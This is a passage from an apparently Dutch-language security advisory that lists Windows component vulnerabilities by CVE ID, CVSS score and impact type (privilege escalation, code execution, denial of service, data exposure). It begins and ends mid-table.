|\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 